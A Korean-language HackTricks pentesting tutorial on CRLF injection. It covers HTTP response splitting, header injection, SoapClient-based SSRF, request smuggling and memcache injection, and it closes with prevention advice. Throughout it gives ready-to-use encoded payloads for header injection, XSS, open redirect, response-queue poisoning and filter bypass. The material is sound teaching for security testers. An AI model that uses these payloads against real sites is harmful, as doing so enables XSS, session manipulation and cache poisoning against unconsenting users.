hacktricks/pentesting-web/crlf-0d-0a.md

# CRLF (%0D%0A) 주입

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>

HackTricks를 지원하는 다른 방법:

* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 제출**하세요.

</details>

<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 고용 중입니다!** (_유창한 폴란드어 필수_).

{% embed url="https://www.stmcyber.com/careers" %}

### CRLF

복귀(CR)와 줄 바꿈(LF)은 CRLF로 알려진 특수 문자 시퀀스로, HTTP 프로토콜에서 한 줄의 끝이나 새 줄의 시작을 나타내는 데 사용됩니다. 웹 서버와 브라우저는 CRLF를 사용하여 HTTP 헤더와 응답의 본문을 구분합니다. 이러한 문자는 Apache와 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에서 보편적으로 사용됩니다.

### CRLF 주입 취약점

CRLF 주입은 CR 및 LF 문자를 사용자가 제공한 입력에 삽입하는 것을 의미합니다. 이 작업은 서버, 응용 프로그램 또는 사용자를 속이고 주입된 시퀀스를 하나의 응답의 끝과 다른 응답의 시작으로 해석하게 합니다. 이러한 문자는 본질적으로 해로운 것은 아니지만, 오용될 경우 HTTP 응답 분할 및 기타 악성 활동으로 이어질 수 있습니다.

### 예시: 로그 파일에서의 CRLF 주입

[여기에서 예시 확인](https://www.invicti.com/blog/web-security/crlf-http-header/)

관리자 패널의 로그 파일을 고려해보세요. 형식은 `IP - 시간 - 방문한 경로`와 같습니다. 일반적인 항목은 다음과 같을 수 있습니다:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
공격자는 CRLF 삽입을 통해 이 로그를 조작할 수 있습니다. HTTP 요청에 CRLF 문자를 삽입함으로써, 공격자는 출력 스트림을 변경하고 로그 항목을 조작할 수 있습니다. 예를 들어, 삽입된 시퀀스는 로그 항목을 다음과 같이 변형시킬 수 있습니다:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
여기서 `%0d`와 `%0a`는 CR과 LF의 URL 인코딩 형식을 나타냅니다. 공격 후 로그는 오해를 불러일으킬 것입니다.
```
IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
공격자는 악성 활동을 숨기기 위해 로컬호스트(일반적으로 서버 환경에서 신뢰할 수 있는 엔티티)가 동작한 것처럼 보이도록 합니다. 서버는 `%0d%0a`로 시작하는 쿼리 부분을 단일 매개변수로 해석하고, `restrictedaction` 매개변수는 별개의 입력으로 구문 분석합니다. 조작된 쿼리는 실제 관리 명령인 `/index.php?page=home&restrictedaction=edit`를 모방합니다.


### HTTP 응답 분할

#### 설명

HTTP 응답 분할은 공격자가 HTTP 응답의 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스, 캐리지 리턴(CR) 다음에 라인 피드(LF)가 따르는 CRLF로 헤더와 본문을 분리합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하면, 이후의 응답 콘텐츠를 효과적으로 조작할 수 있습니다. 이러한 조작은 심각한 보안 문제, 특히 크로스 사이트 스크립팅(XSS)을 초래할 수 있습니다.

#### HTTP 응답 분할을 통한 XSS

1. 애플리케이션은 다음과 같은 사용자 정의 헤더를 설정합니다: `X-Custom-Header: UserInput`
2. 애플리케이션은 `UserInput`의 값을 쿼리 매개변수에서 가져옵니다. 적절한 입력 유효성 검사와 인코딩이 부족한 경우, 공격자는 CRLF 시퀀스와 악성 콘텐츠를 포함한 페이로드를 조작할 수 있습니다.
3. 공격자는 특별히 조작된 'user_input'을 포함한 URL을 작성합니다: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- 이 URL에서 `%0d%0a%0d%0a`는 CRLFCRLF의 URL 인코딩된 형태입니다. 이를 통해 서버를 속여 CRLF 시퀀스를 삽입하고, 서버는 이후 부분을 응답 본문으로 처리합니다.
4. 서버는 응답 헤더에 공격자의 입력을 반영하여 악의적인 스크립트가 브라우저에 응답 본문의 일부로 해석되는 의도하지 않은 응답 구조를 유발합니다.

#### HTTP 응답 분할로 인한 리디렉션 예제

[https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)에서 가져온 예시
```
/%0d%0aLocation:%20http://myweb.com
```
그리고 서버는 다음과 같은 헤더로 응답합니다:
```
Location: http://myweb.com
```
**다른 예시: (출처** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URL 경로에서

URL 경로 내에 페이로드를 보내 서버의 응답을 제어할 수 있습니다 (예시는 [여기](https://hackerone.com/reports/192667)에서 확인할 수 있습니다):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
더 많은 예제는 다음에서 확인할 수 있습니다:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

### HTTP 헤더 삽입

HTTP 헤더 삽입은 종종 CRLF (캐리지 리턴 및 개행) 삽입을 통해 악용되며, 공격자는 HTTP 헤더를 삽입할 수 있습니다. 이는 XSS (크로스 사이트 스크립팅) 필터나 SOP (동일 출처 정책)과 같은 보안 메커니즘을 약화시킬 수 있으며, 이로 인해 CSRF 토큰과 같은 민감한 데이터에 대한 무단 액세스 또는 쿠키 심기를 통한 사용자 세션 조작이 가능해질 수 있습니다.

#### HTTP 헤더 삽입을 통한 CORS 취약점 이용

공격자는 HTTP 헤더를 삽입하여 CORS (크로스 출처 리소스 공유)를 활성화시킬 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 취약점을 통해 악의적인 출처에서 스크립트가 다른 출처의 리소스와 상호 작용하여 보호된 데이터에 접근할 수 있습니다.

#### CRLF를 통한 SSRF 및 HTTP 요청 삽입

CRLF 삽입은 완전히 새로운 HTTP 요청을 작성하고 삽입하는 데 사용될 수 있습니다. 이에 대한 주목할만한 예는 PHP의 `SoapClient` 클래스 내의 `user_agent` 매개변수에서 발견된 취약점입니다. 이 매개변수를 조작함으로써 공격자는 추가적인 헤더 및 본문 내용을 삽입하거나 새로운 HTTP 요청을 완전히 삽입할 수 있습니다. 아래는 이 취약점을 시연하는 PHP 예시입니다:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### 헤더 주입을 통한 요청 스머글링

이 기술과 잠재적인 문제에 대한 자세한 정보는 [**원본 소스를 확인하세요**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).

초기 요청에 응답한 후 **백엔드가 연결을 유지**하도록 필수 헤더를 주입할 수 있습니다:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
그 후에 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 [HTTP 요청 스머글링](http-request-smuggling/)을 포함하는 기술로, 서버의 후첨으로 추가된 추가 헤더나 본문 요소가 다양한 보안 취약점으로 이어질 수 있습니다.

**Exploitation:**

1. **악성 접두사 삽입**: 이 방법은 악성 접두사를 지정하여 다음 사용자의 요청이나 웹 캐시를 독립시키는 것을 포함합니다. 이 예시는 다음과 같습니다:

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`

2. **응답 큐 독립시키기 위한 접두사 조작**: 이 접근 방식은 접미사와 결합하여 완전한 두 번째 요청을 형성하는 접두사를 생성하는 것을 포함합니다. 이는 응답 큐 독립시키기를 유발할 수 있습니다. 예시는 다음과 같습니다:

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`

### Memcache 삽입

Memcache는 **클리어 텍스트 프로토콜을 사용하는 키-값 저장소**입니다. 자세한 내용은 다음에서 확인할 수 있습니다:

{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}

**전체 정보는** [**원본 글**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **을 참조하십시오.**

플랫폼이 **HTTP 요청에서 데이터를 가져와 살균하지 않고** **memcache** 서버로 **요청**을 수행하는 경우, 공격자는 이 동작을 악용하여 **새로운 memcache 명령을 삽입**할 수 있습니다.

예를 들어, 원래 발견된 취약점에서는 캐시 키를 사용하여 사용자가 연결해야 할 IP와 포트를 반환하고, 공격자는 캐시를 **독립시켜 피해자의 세부 정보**(사용자 이름과 비밀번호 포함)를 공격자 서버로 전송하는 **memcache 명령을 삽입**할 수 있었습니다:

<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>

또한, 연구원들은 memcache 응답을 비동기화하여 공격자가 이메일을 알지 못하는 사용자에게 공격자의 IP와 포트를 전송할 수 있다는 것을 발견했습니다:

<figure><img src="../.gitbook/assets/image (40).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>

### 웹 애플리케이션에서 CRLF / HTTP 헤더 삽입 방지하기

웹 애플리케이션에서 CRLF (캐리지 리턴 및 개행) 또는 HTTP 헤더 삽입의 위험을 줄이기 위해 다음 전략을 권장합니다:

1. **응답 헤더에 직접 사용자 입력을 피하기:**
가장 안전한 접근 방식은 사용자 제공 입력을 직접 응답 헤더에 통합하지 않는 것입니다.

2. **특수 문자 인코딩:**
직접 사용자 입력을 피하는 것이 불가능한 경우, CR (캐리지 리턴) 및 LF (개행)과 같은 특수 문자를 인코딩하는 전용 함수를 사용하도록 해야 합니다. 이렇게 함으로써 CRLF 삽입 가능성을 방지할 수 있습니다.

3. **프로그래밍 언어 업데이트:**
웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더를 설정하는 함수 내에서 CR 및 LF 문자의 삽입을 기본적으로 허용하지 않는 버전을 선택하십시오.


### CHEATSHEET

[여기에서 체크시트 확인](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 자동 도구

* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)

## 브루트 포스 탐지 목록

* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)

## 참고 자료
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)

<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

만약 **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희는 고용 중입니다!** (_유창한 폴란드어 작문 및 구사 능력 필요_).

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>

HackTricks를 지원하는 다른 방법:

* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **당신의 해킹 기술을 공유하세요**.

</details>